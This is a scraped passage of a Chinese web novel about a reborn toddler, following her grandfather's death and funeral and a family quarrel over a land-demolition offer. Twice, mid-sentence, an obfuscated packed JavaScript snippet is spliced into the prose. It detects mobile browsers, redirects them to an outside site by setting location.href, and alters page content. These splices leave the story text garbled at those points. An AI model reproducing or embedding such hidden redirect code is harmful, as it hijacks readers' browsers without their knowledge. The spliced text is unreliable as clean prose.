“叫姐姐。”吃完晚饭,陆易安散完步回来,就坐在小木床旁边,非常认真地说:“七七跟我读,叫姐姐。” “外公~” “不是外公,叫姐姐。” 陆易宁:“外公!” 陆平和刘秀珍去杂货铺接完电话回来,回到家时,刘秀珍的眼睛红了一圈。 赵倩站在家门口,“姐,还好吧?” 刘秀珍摇了摇头,回到家关上门的那一刻,眼泪又一次跳了出来。 “妈妈,妹妹会说话了。”陆易安高兴地说。 但是刘秀珍却没有任何开心的迹象。 陆平说:“安安,拿纸来给你妈妈擦眼泪。” “哦。” 陆易安跑到里屋去拿卫生纸。 “爸爸,妹妹刚才喊我外公。”陆易安拍着胸脯得意地说。 陆平神色严肃,“别乱说,你外公的便宜你也要占?” “真的。”陆易安说。 听到“外公”两字,刘秀珍直接哭出声来。 陆平轻轻地拍了拍刘秀珍的背,“爸严重的话,实在不行,我们今天就回去。” 陆易宁知道,外公明天就要离世。 本来母亲想着天气冷,下着毛雨,晚上带着孩子赶路不方便,怕陆易安在路上闹,所以将她和姐姐放在赵倩家,回家等外公的病好一点,再回来接她们。 谁知道,这一去,见的就是最后一面。 “这次回去,就先不带她们两个了。”刘秀珍擦掉眼泪,深吸一口气,“等过几天,爸好一点,再说。” 陆易宁哇地一声哭出来,“外公!” 她一直在喊外公。 刘秀珍哭着去抱女儿,“想外公了是吗?” 陆易宁使劲哭,哭完就喊外公。 虽然说得不怎么清楚,但是能听得出来。 刘秀珍看着怀里哭个不停的孩子。 这个孩子不经常哭的。 真没想到,女儿喊的第一个人,是外公。 晚上八点,郑松将陆家四口送到街上,联系的私家车已经停在街上的十字路口。 陆易宁和陆易安成功上车。 上一世,陆易宁开口说的第一个词就是外公。 因为哭喊了十来分钟,刘秀珍不忍心,猜测女儿可能想见外公,所以将两个孩子都带上了。 半夜十一点,私家车停在乡镇的街上。 陆平背着陆易安,开着手电走了半个多小时的泥路,终于抵达刘秀珍的家里。 陆易宁睡了一觉。母亲到家时,她睡得迷迷糊糊的,被人放在了一张木床上,和陆易安躺在一起。 陆平和刘秀珍来到父亲的床边,形似枯槁的父亲已经睡了。 刘森收拾好睡处来喊他们,“你们今天来得太晚,先去休息,明天爸醒了,我再喊你们。” 第二天,陆易宁醒得异常早。 第一眼看见的是外婆。 外婆非常瘦,原本深邃的眼窝附近布满了褶子,守着自己时,褶子笑堆在一起。 她立马笑张开嘴。 “呀,七七第一次看到外婆就会笑啊?”马老太太小心翼翼地摸了摸外孙女的屁股,“没有尿,真棒!” 陆易宁张开手,含糊不清地喊了一声,“外婆。” 老太太愣了愣神,轻柔地将她抱起来,“你认得外婆呀,乖乖?” 陆易宁又喊了一声外公。 终于,老太太听见她的声音,将她抱到了外公床前。 这是陆易宁第二次看到外公,说实话,这张脸她已经记不清了。 床上的老人半张嘴,很痛苦地看着她,嘴里像是在说着什么。 陆易宁拉住他放在被子外面的手,喊出这一生最清楚的两个字,“外!公!” 老人回应着她的声音,陆易宁明显感觉得到右手被那只大手握住了。 刘秀珍见状,再也忍不住,捂住嘴,立马跑到门口。 刘林的妻子孙书琴贴着墙安慰她,“爸早就说要看你家陆七七,听见她孙女喊他,别提有多高兴了。” * 陆易安醒后,没人给她梳头发,她就自己一个人蓬头垢面地走进外公的房间。 她知道,床上的人是她的外公。 她忘了外公的样子,但是外公应该不是这样的。 “安安,来叫外公。”陆平拉着她的手,走到床边。 陆易安偏着小脑袋,盯着床上的人看。 床上的人看见她,突然扬起眉毛,笑了。 陆易安也跟着笑了,“外公,你不是说要给我做肉卷吃的吗?” 老人用尽力气点头,陆易安去拉他的手,“那今天中午就可以吃吗?” 握着她手的手掌食指敲打了两下。 得到回应,陆易安一直守在床前,直到屋里的人越来越多,她被大人逐渐挤离了外公的床边。 中午,收到消息,邻居们都来了。 小平房的门口已经站满了人。 屋内,儿子儿媳,孙子孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438369|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女们围在床边。陆易宁被母亲抱着,她知道,这已经是外公的灵魂在世上的最后一刻。 陆易安一个人坐在门口的石阶上,头发乱糟糟的。 孙书琴拿了梳子过来给她梳头,整个过程,陆易安没有说过一句话。 孙书琴手扶着腰,“安安啊,等会洗完脸,我们去找佳佳姐姐好不好?” “不好!”陆易安两只小手握成拳头,嘴巴里嘟囔着,“外公是个大骗子!” “什么?” “他明明说过要给我做肉卷吃的。”陆易安眼泪汪汪地望着小舅妈。 周围的大人都在笑她,这孩子,你外公都什么样了,还吵着让他给你做肉卷。 孙书琴给她绑上小辫子,摸了摸她的头,“待会小舅舅给你做好不好?” “我才不吃小舅舅做的。”陆易安站起来,立马跑回昨晚睡觉的房间。 没一会儿,家门口的鞭炮声震天响,一阵吵闹后,另一个房间内传出大小不一的哭声。 陆易安听见哭声,从床上跳下来,走到门口,空气中弥漫着火药的气味,家里陆陆续续来了很多人。 陆易安手扶着门框看着那个被人挤着的房间,看了很久。 有人开始在外面的水泥地里架起火炉,有人从柴房里陆续提来一桶又一桶的热水。 刘秀珍年前做的冬装,因为陆平在煤矿里伤到手,被耽搁了两个多月,终于穿在立春之后,穿在了父亲身上,陪他一块入了棺。 天气很冷,阴雨绵绵,每天家门口都是雾气腾腾的。 湿气入骨,家里每个人的心里都被冷气裹挟着。 白天,刘秀珍和哥哥弟弟笑着招呼各位来帮忙的人。一到晚上,伴随着宾客们在门口打牌打麻将的呼声,几兄妹守在棺前,痛哭不止。 陆易安这几日难得的听话,从不去烦陆平和刘秀珍。每天跟着表姐刘佳,已经成家了的大表哥还有大表姐,吃的喝的从不落下。 她和刘佳两人,一开席,就上桌,不管同桌的人是谁,该吃就吃,夹不住菜就让身边的人夹,从来不饿着自己。 丧日当天,陆易安跟在刘佳的尾巴后面,找了一个全是大人的席桌。 所有的席桌已经围满了人,大舅妈何飞没有找着位置,只好抱着陆易宁在火炉旁边烤火。 菜一上来,刘佳就夹了一块鸡肉放进陆易安碗里。 同桌的一个男人看陆易安吃得香,想到前几天她坐在门口抱怨外公不做肉卷给自己吃时的可怜样,就想捉弄她。 肉卷端上桌时,斜对面胡子拉碴的中年男人急忙夹了两片蛋包肉卷放到陆易安的碗里。 陆易安抬起头,看了他一眼,男人贱兮兮地笑道:“你不是最想吃外公做的肉卷吗?外公做的你是吃不到了,那就吃别人做的。” 陆易安两只水汪汪的眼睛看着他,没有说话。 男人或许觉得她这样很好笑,接着逗她:“你知不知道,你外公死了。你再也吃不到他做的肉卷了!你知道死了是什么意思吗?就是你以后再也见不着他,他就跟前几天杀的猪一样,变成了你碗里的肉卷。”男人指着堂屋里,棺木前的遗像说:“你外公变成那张照片了,以后什么也不能做了。你想他,只能哭了。” 男人说完,还哈哈哈哈地笑了两声。 陆易宁隔远听着,心里酸得一比。 无论什么时候,有些大人总以为孩子什么都不懂,就故意在孩子面前开各种令人心梗的玩笑。 刘佳吃饭的速度明显慢了不少,眼睛已经被泪水淋湿了。 何飞隔远瞪着男人,轻轻拍着陆易宁的背,“他神经病吧?跟孩子说这些做什么?” “她年纪小,你说这个搞哪样?”同桌的大人也看不下去。 男人飘飘然地说,“就是小才说嘛。” 陆易安立马扒完碗中的饭,那两个肉卷她没有吃,而是捏在手中,走到男人的身边,扔在他的碗里,用尽最大的声音说:“我最不喜欢吃肉卷了!我最讨厌吃的就是肉卷! “呸!” 临走之前,顺便往他的碗里吐了一次口水。 别的桌上喝酒划拳的人被陆易安的声音吸引了过去,周围瞬间安静了下来,男人懵逼地看着碗中被捏碎了的肉卷,被小姑娘一嗓子吼得回不了话。 桌上的其他男人开始笑话他,“你看你,没事逗她干嘛,她还只是个孩子。” 何飞抱着陆易宁,立马走过去,连忙给男人赔不是,将陆易安拉到火炉边。 到了下午,陆平终究知道了女儿中午在饭桌上的事,在守夜时,单独将陆易安拉到边上。 “你中午是不是做坏事了?” 面对父亲的问责,陆易安坚定地摇头,“没有。” 陆平手搭在她的肩膀上,厉声道:“你是不是吐口水在别人碗里面了?人家都告诉我了。” 陆易安义正言辞,“是他一直说外公死了,说外公的坏话,我……我才那样做的。” 何飞听见陆易安的辩解声,也走过来替她解释,“也不全怪安安,那个二叔说话太难听了,他以为孩子不懂,就乱说话,还以为这样很好玩。” 陆易安气鼓鼓地擦掉眼泪,死活不认错。 “爸爸不是要骂你。”陆平捏了捏她的脸蛋子,“以后碰见这种事,记得别吐口水到他碗里,浪费粮食。” 吐他脸上就行! 12. 第十二章 婵卵羽化成虫,迎来新生。 陆易安隔三差五就要站在红漆木门前,和门比身高。 生锈的门把手见证她从寒冬比到初夏。终于,在不踮脚的情况下,门把手也能轻轻地触碰到她的头顶。 陆平买了一辆学步小车放在家里,陆易宁坐学步车学走路时,陆易安每天饭后会间隔推着陆易宁和郑煦在村里到处逛。 刘秀珍因此特意扩大了她的活动范围。从零食铺延伸至包子店。 路不平,郑煦坐在上面,颠得慌,很爱哭。 陆易安就只喜欢推她的妹妹出门。 陆易宁终于尝到了这辈子的第一包零食,是一毛钱一个的干脆面,有她的手掌一般大,透明的包装袋,非常好吃。 陆易宁不喜欢吃别的零食,就喜欢吃这个。 刘秀珍将陆易安每个月在零食铺的消费额度提高到了四十块,陆易安却觉得自己能吃的东西越来越少了。 陆易安看着分了她一半肉包子的妹妹,已经明白了。 哼!什么妹妹,就是一个会跟自己抢零食吃的家伙。 陆易宁咬了一口肉包,她已经察觉到陆易安不把自己当宝贝了。 上个月她还推着自己去安奶奶家买零食,这个月,陆易宁想和她走着去,她都不答应。 现在的她,更喜欢隔壁的郑煦。 因为那傻小子的零食经常被她骗着吃,郑松和赵倩就算发现了都是哈哈笑带过。 但是在家,一旦刘秀珍发现她搞小动作,要骗妹妹的零食,她就要挨骂。 “陆安安,我们去陈大伯家买花生,你要不要去?”刘秀珍从赵倩家找来一个大袋子,弯下腰,一下就把站在墙角的陆易宁抱起来。 “我才不去。”陆易安坐在门口喝汤,头也不回。 杂货铺有什么好吃的。 刘秀珍轻轻把门关上,“好,那你看着家,别让你嬢嬢家的狗进来。” “我不去。”陆易宁在刘秀珍的怀里挣扎,她这一去,迟早要吃瘪。 “不行,你就得去。”刘秀珍看她的时候,脸上挂满了笑容。 那是母亲要搞事情的前兆。 “姐,走吧。”赵倩也抱着孩子出来,手里同样拿一个装饲料的袋子。 陆易宁叫唤,“我不去!” “去!” “不去!” “我说去就去。” 母亲大人才懒得管她愿不愿意。 第一世,读小学的那段时间,她每天被母亲守着做作业,每天都挨骂,陆易宁一直觉得年轻时候的母亲很严肃。 直到经历了第二世,她才意识到母亲这个时候也才二十六岁,比自己第一世死的时候大不了多少。 她有自己的少女心性,她也爱玩。当然,带孩子时也是个马大哈。 陆易宁记得周岁的那天,母亲在杂货铺门口,用传统的杆秤给她称体重,结果没勾稳衣服,她啪地砸在地上,下巴磕破了皮。 父亲下班回家时她不好说实话,全把责任推她身上,说是她走路走不稳,摔的。 今年三月份,母亲背着自己去逛街,本来打算去买布回家做衣服,结果走到半路,目光被街头的堵摊引了过去,买布的钱,在街上跟别人掷骰子全输干净。 四月份,母亲和赵倩阿姨在街上猜牌大小,各自输了五十块和三十五块。 上个月,她和赵倩阿姨两人合伙,两人在牌馆里斗地主,结果俩农民手持王炸带四个二,外加两个飞机和顺子,硬生生输给地主百来块。 每个月都不闲着,当然这些事父亲并不知道。同样,父亲也兜着不少事不敢告诉母亲。 而自己,偏偏是他们俩搞完事情的最大暴击承担者。 眼看母亲又要抱着自己去完成这个月的kpi,陆易宁说了一百个不愿意。 她知道,自己今天去了注定要栽跟斗。 胳膊拧不过大腿,陆易宁还是被抱到了陈家杂货铺。 趁刘秀珍在称花生,陆易宁连忙冲到路口,才跑一会儿又被抱了回去。 此时,郑煦已经被装在袋子里,上了杆秤。 陆易宁见状,连忙说,“会摔倒的。” “哎呀,不会。”刘秀珍坚持说:“这次我接着你,不会让你摔的。” 在这个电子秤还没普及到村子的时代,称孩子的体重通常是用传统的杆秤。陆易宁也不明白老妈怎么着了,专门想着量她的体重。 是因为肉多,称起来比较有满足感吗? “我不进去。”陆易宁死活不进袋子里,这个袋子刚才郑煦用过了,万一它的承受力被破坏了呢,“我不进那个袋子,脏死了。” “哎哟,还爱干净,那换一个。”刘秀珍连忙拿了一个没用过的来,一下子就把陆易宁装了进去。 “哎呀!”陈文才吃了一点力才把她提起来,“你家陆七七真是实心的呀!” 陆易宁不敢瞎动,刘秀珍的手一直圈外袋子周围。 滋的一声,陆易宁听到袋子和挂钩的接触面的撕裂声,还是来了。 “妈,妈,妈!”陆易宁大叫,“妈呀!” 刘秀珍被她喊愣了神。 直到女儿跟倒栽葱一样砸在水泥地上,她才去提她的脚。 “啊!!!”陆易宁忍不住叫出来,脑袋咣当地砸在地上,差点眼冒金星。 刘秀珍见状连忙将她抱起来,抱在怀里小心摸着她的头。 被砸的地方已经红了。 “七七别哭,妈妈对不起你!”刘秀珍抱着她,温柔地哄着,“妈妈在这呢,哎哟,七七不哭。” 陆易宁哭得更厉害了,才懒得听她的话。 但是也没哭多久,毕竟周围的几个大人都在跟着哄她。 刘秀珍得以抽出空来,“哥,多少斤。” 陈文才重新看了一眼放在地上的秤,“你家的胖姑娘应该有二十九斤,最少也得有二十六来斤。” 刘秀珍非常得意,揉着女儿的头说:“你看,你妈把你养得多好,人家郑煦也才二十二斤。” 陆易宁:“……” 周秀芬挤了刘秀珍的胳膊一下,斜靠在橱柜旁边,“听说了吗?好像要修路了,要从村子里修过去。” 赵倩抓了一把瓜子,边磕边说,“这不是早就说了吗?也没看见它落实啊!” 从很久前开始,就已经有人来村里勘察了。煤矿村位于文水市与临市交界,政府有意开通一条高速公路直通四川,而煤矿村就在线路点上。 陆家现在住的房子是陈文才家的老房子,郑家住的是陈菊萍家的旧房子。因为煤矿开采,征用了不少土地,陈文才和陈菊萍两兄妹每个人得了将近二十万,算是整个村里比较富裕的人了。 陈菊萍,周秀芬,刘秀珍,赵倩玩得好,是闺蜜团,周秀芬和陈菊萍知道两家的家庭条件不怎么好,打心底想帮衬点。 周秀芬说:“我们是想着,如果真的能拆迁了,我家上面的那点地盘可以低价卖给你们,到时候你们重新翻修一下,住进去,如果能拆,钱都给你们。而且,拆迁的话它还包分配住处的,分配的住处都给你们住。” 赵倩朝刘秀珍扬了扬下巴,“姐,菊萍姐也跟我说过这些话。她说只要我和郑松答应,我们住的那点地盘可以七八百卖给我们,这样重新装修,扩大一点屋子,能多得一点钱。” 刘秀珍心动了,不过有些疑虑,“如果得不了拆迁呢?” 周秀芬非常爽快,“那就把钱退给你们呗,你们继续免费住里面。” 这确实是天上掉的馅饼。 因为那条高速公路的确会穿过村子,也将在半年后开工。不需要多久,村里的人可以得到拆迁,搬去市郊。后来,因为文水市新城区的开发,市郊被归纳在拆迁中心,又可以获得一笔巨额拆迁款。 陆易宁切身体会到了这个馅饼的撑人程度。 母亲心动了,她以前也很心动。 秀芬伯娘很大方,地盘说给就给。只不过自己的嗓子眼太小,被馅饼噎死了。 上一世,因为自己的小聪明,她成功让母亲获得了十几万块的拆迁款,然后赔了父亲的一条命,也让父亲背上了一条命。所谓的拆迁款和拆迁住房,也全部搭进去,赔给了别人家。而父亲用命换来的赔款,一大半全被大伯一家还有爷爷奶奶打官司要去了。 陆易宁学到了,有些东西,不是你的,就别瞎惦记。 这一世,她不敢冒险,她只想像第一世那样,和父母回到老家吉长,过几年再搬去赵倩阿姨的老家风阳镇,和他们做几年的邻居,让日子顺其自然地过去。 她给自己定了三个目标。 第一,顺从父亲的意愿,回老家,等妹妹出生,避免父亲发生意外。 第二,防止郑叔叔发生意外,阻止郑煦变成断臂小子,和郑家做长久邻居。 第三,如果时间线长的话,那就力所能及地阻止公司国庆期间生产,以防发生前两世的事故。上一世成品仓库发生爆炸当日,公司里的一个姐姐负责在成品仓库巡检。那个姐姐对自己很好,公司食堂的饭难吃,她每天来上班的时候都会给自己带一份自己做的午饭。她有两个女儿,才刚摆脱家庭主妇的生活,得以出来上班,就碰上这种事,太倒霉了。 陆易宁已经决定了,这辈子,就为这几件事努力。 晚上陆平回到家,刘秀珍便同他说了拆迁的事。 对于这种事,陆平压根没怎么放心上,地是别人家的地,房子是别人家的房子,人家白送给自己,住着不舒服。 陆平洗完澡出来,刘秀珍连忙问他的意见,“哎呀,你觉得呢?想好了吗?” “人家的房子,这么多钱你怎么好意思收嘛?” “这点钱秀芬姐她压根不在意。”眼前有个搬离老家的机会,刘秀珍必须牢牢握住,“你想,我们俩能从乡下搬到市里,这不好吗?” “那爸妈呢?妈前几天还让人打电话给我,说是大嫂又和哥一起整她和爸,我要是搬到这来,大嫂那脾气,爸妈怎么受得住?” “你爸妈那脾气,你怎么不问问我受不受得住。”刘秀珍切了一声,“你大嫂的脾气坏,你哥是个耙耳朵,但也别忘了,你爸妈也不见得是好东西。你哥耳根子软,也从来不是只听他媳妇的,他还不是照样听你妈的话打你大嫂吗?” 陆平抬手打住她,“行了,别说这种话了,又不是什么太光荣的事,你巴不得谁都能听到。再说了,吃人嘴短,拿人手软的道理你又不是不知道?” 陆易宁从陈菊萍家回来,在门口偷偷听了一嘴。 她明白父亲有愚孝心理,但没到无可救药的地步。搬回老家除了妹妹的原因,还有一个就是因为爷爷奶奶。 上一世,她觉得父亲愚孝至极,爷爷奶奶本来就不疼他,他还想着回去照顾孝顺他们。所以插科打诨,学陆易安说鬼话,喊陈文才和周秀芬来劝陆平,然后故意暴露出自己不合年纪的智商,接着装病,拖延父亲搬离煤村的日子,让父亲看到村里第一家成功搬迁的例子,动摇了他回老家的心思。 这一次,她学怕了,什么都不敢改变。只要自己什么都不做,顺其一切就好。 不过眼下,要是让父母继续谈论爷爷奶奶,今天晚上他们两个注定要吵架。 “爸。”陆易宁推开房门,陆平正在擦头发,刘秀珍则在他身后悄悄对他翻白眼。 陆平看见小女儿额头上红肿的包,一脸心疼,“哎呀,我家二宝贝的头怎么了?怎么摔的?” 刘秀珍的睁大眼睛,紧闭着嘴,一下午都在想拆迁的事,忘记跟女儿对口径了。 “没事。”陆易宁摸了摸肿包附近的区域,“妈已经给我擦药了。” “痛不痛?”陆平看女儿懂事成这样,更心疼了,“是不是妈妈弄的?” 陆易宁悄悄往他身后看了一眼。 刘秀珍心虚地说:“是她跑得太急,我没看着,一不小心摔倒的。” “你以为我不晓得。”陆平脸一沉,“你是不是带她去陈家称体重了?人家已经跟我说了。” 被拆穿了,刘秀珍也不慌,“谁说的?乱说。” “李凤仙说的。”陆平斜了她一眼,“还乱说,我一到路口,她就说你逼着七七上秤,她都跑了,你还揪回去。你是怎么当妈的?上次也是,下巴也摔破了。下一次,你是想摔她的手还是脚啊?” 刘秀珍心里也有气,夫妻遇到争执,不管是对是错,不服才是第一,“我就是想称一下孩子有多重,谁知道那袋子不牢啊?” “你就是这样,无论如何,就是不认。” “是是是,我一天专门虐待我孩子,行了吧?你要是嫌我带不好,你给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438370|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再找一个不行吗?找一个能干脾气好的带回家,还可以去好好孝敬你爸妈。” 陆平:“你又来了,跟你说这事,你扯那事。这关我爸妈什么事,我爸妈是有不足的地方,但是我们现在又没在老家,你扯他们干嘛,他们惹到你了?” 陆易宁眼珠子滴溜来回转,怎么还是吵上了。 不行,他们俩只要吵架时扯到爷爷奶奶,注定要来一场大的。 眼看母亲大人又要大牢骚,陆易宁慌乱配平,拉着陆平的手说:“爸,你也别怪我妈了,上次我姐发高烧,不也是你带着她在下雨的时候和花梅姐姐他们打水仗玩,才玩出来的吗?” 天平突然跳起来了,刘秀珍抓住了新的话柄,“什么时候的事?” 陆平一直对着陆易宁挤眉弄眼,陆易宁看了他几秒,说:“就是弟弟出生,满月,你回老家那两天。” 小舅子家生二胎距离现在已经一年多了,陆平哪知道女儿会记得。 刘秀珍开始有理了,“难怪,我回来那两天,陆安安连饭都不吃,你还说她只是小感冒?” 陆易宁指着自己的后脑勺,“对了,我上次头顶那个包,其实是我爸带着我们去别人家摘樱桃,他在树上抖鞋子里的泥,鞋子一不小心落下来砸的。” “陆老三!”刘秀珍的气快从头顶冲出来了,“哎哟,你厉害得很嘛,你不是说是你女儿掉水坑砸的吗?” 陆平干脆破罐子破摔,“那你现在要怎么办?打死我赔罪?” 天平偏得太严重,陆易宁抓紧换个点,对着刘秀珍说:“妈,你也别气,你之前不也在街上和人家猜骰子输了七八十块吗?” 陆平摇了摇头,苦笑,“嚯!你男人辛辛苦苦去挖煤,你拿他的辛苦钱去猜骰子?” “那是我……我做衣服的钱。” 陆易宁又对准刘秀珍说:“妈,其实我爸上周带我上街,偷偷花了一百块买了五十块。” 刘秀珍明显没听懂。 陆平丝毫不慌,“我那个是保值的,以后价格会增的。” “他花了一百块买了五十张一块的钱,藏在床底下。”陆易宁人畜无害地说:“那个卖银元的老板说现在的一块钱之后不用了,国家印了新的钱,以后老的一元钱会很值钱,所以爸爸信了。” 当时陆易宁就觉得老板在放屁,且不说国家发行新版一元纸币还要等一年多。就算发行了,现在的一元纸币放到二十年后,也只值一元。 她无论怎么说,怎么拉陆平走,陆平都只觉得她是孩子不懂。在老板的忽悠下,成功花一百多块买了一叠面值一块的纸币和几个生了锈的银元。 刘秀珍嘲讽道:“哎哟,还是你会当家。” 陆平白了她一眼,“你管我!本来就会升值。” 陆易宁:“妈,你不也斗地主输了一些钱吗?” 陆平一看机会来了,“大哥不说二哥,你以为你好到哪去?” 陆易宁:“妈,其实我爸的那身灰色西装,不是找不到了,是有天他喝了一点酒,怕收废品的爷爷冷,送给他穿了。还有你新给我姐做的碎花裙,织的毛衣,和她以前穿的有几条裙子,都被我爸偷偷拿上街,给街上捡垃圾的那个大妈家的女儿了。” 刘秀珍听了前几句,直接炸了,“陆老三,你疯了!那是我们两个结婚,我给你做的衣服啊!” 陆平意识到严重性,“陆七七,你乱说什么?” 陆易宁立马闭嘴。 好像……多嘴了。 吵架开始升级,从刚开始的有来有往,冷声嘲讽瞬间上升到白热化阶段。 陆平走上前解释,“我不是看他可怜,大冬天的,就穿身军绿衬衫,加上喝了点酒,脑子糊涂嘛。” 刘秀珍非常生气,才懒得听他的话,“你不会给别的吗?硬要给那件衣服吗?” “我当天就穿那件衣服上的街,我还能回来给吗?” “是是是,你老好人,我不是人行了吧?” “我后来反应过来,过几天就重新买了一件衣服去跟那个老人换了。只不过,换回来的时候,背上被烧火棍烧了一个大洞,我怕你发现,偷偷藏起来了。” 陆易宁张圆了嘴,这个后续是她不知情的。 刘秀珍,“你藏哪了?” 陆平挠了挠后脑勺,“鸡圈旁边的薄膜底下。” 刘秀珍气不打一处来,“藏在鸡圈旁边?那里全是鸡屎,你真聪明!” “不是有薄膜吗?” 得了,又是另一个争吵点。 陆易宁喊了几声,插不进嘴,惹完事,偷偷退出门。 赵倩和郑松站在外面听墙角,没一个上去劝的。 陆易安在陈菊萍家听到父母的声音,立马跑出来听了一会儿,没错,他们是在吵架。 沉睡没多久的基因被唤醒,喊了那么多次别人家的家事,今天终于轮到自己家了。 “我爸爸妈妈吵架了,快来帮忙呀!” 陆易宁还没反应过来,陆易安已经撩开腿跑起来了。 “没有!”陆易宁跟在后面跑,“你快停下!” 陆易安跑得很快,陆易宁压根追不上。 没多久,陆平和刘秀珍打架的事传遍了整个村子。 郑松看向两姐妹消失的方向,问赵倩,“要去劝劝吗?再不劝,该来人了。” 赵倩忍住笑,“再等等。” 没几分钟,陆家门口已经围上来十七八个人。 陆平刚哄好妻子,一推开门,几个女人齐刷刷地走过来往屋里看,“打架了?” “没……没打啊。” 刘秀珍不知道发生了什么事,家门口已经站满了人。 夫妻俩弄清楚了形势,好言好语跟来的人们道谢,待人群散去,陆易安终于回来了。 陆易宁跟在她的后面直喘气,这家伙,真能闹… “爸爸,妈妈,你们打好了吗?”陆易安一进屋,就开始哭,她在矿上看过太多男人打女人的画面,她怕父亲也成那样,“我不想你们打架,我不想爸爸打妈妈。” 陆平委屈巴巴地摸了摸被捶了两拳的后背,“我没打。” 刘秀珍抱着她,温柔抚摸着她的头顶,“没打,是妈妈打爸爸了,妈妈对不起爸爸。” 陆平:“对嘛!” “不过你爸也该打。” 13. 第十三章 吵了一架后,陆平和刘秀珍各自替对方反省错误。 刘秀珍从鸡圈旁边翻出那件藏了许久的西装,洗了一遍又一遍,等到沾上的鸡屎味彻底消失才罢休。可西装的背面偏偏烙了两个手指头大小的洞,刘秀珍越看越气,每次补洞时,都要瞪陆平几眼,顺带骂上几句。 休息日,陆平正陪着陆易安和陆易宁在地上玩抓石子儿,刘秀珍又拿出那件衣服开始补。 “陆老三,你但凡正常点,你两个女儿早就住上大房子了。这衣服质量多好,我费了多大劲才做出来的……”刘秀珍一边补一边念叨。 “你妈就是故意的。”陆平在屋外压低声音,对两个女儿嘀咕,“这衣服她一个小时就能补好,结果拖了一个星期,摆明了找机会骂我。” “妈妈,爸爸说你坏话!”陆易安眼看陆平快把一半的石子儿抓走了,眼珠一转,立马搬救兵。 “你还敢说?这衣服我做了一个多月,一针一线缝的,我还说不得了?”刘秀珍越说越气,“真想拿针扎你脑壳,看看你脑子里装的什么,怎么长的?跟个傻子似的。” “怎么长的?肉长的呗。”陆平扔下手里的石子,一把抱起陆易宁,跟插秧似的,直勾勾立到刘秀珍面前,“你说我傻,傻子能生出这么聪明的女儿?” 上次吵完架,陆平躺在床上认真复盘了一个多小时,得出了一个让他乐得合不拢嘴的结论——他生了个天才,一个记忆力超群、语言表达能力爆表的天才。 二女儿的聪明劲儿,甚至已经超过了大女儿。那些他都记不清的事,女儿却记得一清二楚,虽然才两岁,但已经能完整地描述出来。 陆易宁知道自己被父亲寄予厚望,这一周父亲已经在为她存读清华北大的学费了,截止目前,存款五十六块,外加之前买的五十块。 陆平得意洋洋地说:“来,给你妈妈背个古诗听听。” 刘秀珍看他那嬉皮笑脸的样子,火气蹭蹭往上冒,“你脑壳真的有毛病,天天在家教她‘床前明月光’,谁不会啊?郑阳阳也会!要不是赵倩一家上街了,郑阳阳立马就能跑来背给你听。” “我还会背别的。”陆易宁朝陆平挑了挑眉,终于有机会显摆一下了。 陆平眼前一亮,“背来听听。” 陆易宁口齿清晰,一字一顿:“《山村咏怀》。” 作者是谁?不重要,反正她背得溜。 “一去二三里,烟村四五家。亭台六七座,八九十枝花。” 背得那叫一个流利。 “厉害厉害!”陆平拍手叫好。刘秀珍也跟着鼓掌,“你从哪儿学的?” 陆易宁想了想,“跟花梅姐姐学的。” 隔壁的花梅姐已经读三年级了,这诗应该不是三年级的。不过管它呢,反正零七年零八年的小学语文课本里肯定有。 刘秀珍放下针线,一脸期待,“还会不会背别的啊?” 陆易宁摇头,“除了《静夜思》,没别的了。” 上一世,她一上来就装了个大的,三下五除二把秀周芬家读初一的大女儿的数学作业全做完了,装模作样一两天,初一英语直接考了九十八分,瞬间成了煤矿上的天才少女。 陆平之所以没回老家,也是因为觉得女儿有天赋,怕老家的教育耽误了她,想让她在市里接受更好的教育。 这一世,陆易宁学乖了,适当地藏拙才是正道。且不说陆易安在门口听着,要是让她察觉到自己的聪明智慧,以后上学了,自己肯定得被她当奴隶使唤。 再说了,初高中的学习难度只会越来越大,现在聪明又如何?与其未来让父母因为她“泯然众人”而失望,不如从一开始就别给他们太大期望。 陆易安探出小脑瓜,“你们是不是在背书?” 刘秀珍转问她,“你会不会背啊?妹妹都会背了。” 陆易安继续抓石子,“我才不背,读书一点都不好玩。” 花梅姐姐和她的哥哥天没亮起床,还要走很久的路才到学校。下午回来就要做作业,多玩一会就要被骂。 上这种学,鬼才觉得好玩。 “谁说的,读书好玩得很。”陆平故意逗她,“明年我就把你送进学校,去读书。” “我不去,我不读。” “不读也得读。”陆平嘴上说着玩笑话,心里却已经打定了主意。 “等你读完小学,再去读初中、高中,最后上大学。这样,以后不到我这个年纪,就能坐办公室,穿西装,还不用晒太阳……”陆平说着,眼里仿佛已经看到了女儿光明的未来。 陆易宁站在一旁,低头给母亲裹线,眼睛却有些发酸。 幸运的是,哪怕陆易安以后成绩不算好,勉强上了个民办本科,她也能通过自己的努力留在上海,过上父亲想象中的生活。 刘秀珍忍住笑打断他,“读鬼中,你连件衣服都存不住,还扶孩子读高中?我怕她们读树桩桩。” “不是我吹。”陆平手叉腰,一副忆往昔的神情,“我以前读小学的时候,就算空了半年没去,再回去考试,照样比别人考得高。” 陆易宁心里默默吐槽:只是被你爸打回家了而已。 陆平叹了口气,拉了身后的凳子坐下,“唉,就是爸不答应。我三年级下学期,才偷偷去了一天,他就跑到学校,当着全班人的面,把我打回家放牛。” 这段话父亲经常说。陆易宁裹完手里的线,默默走出去。 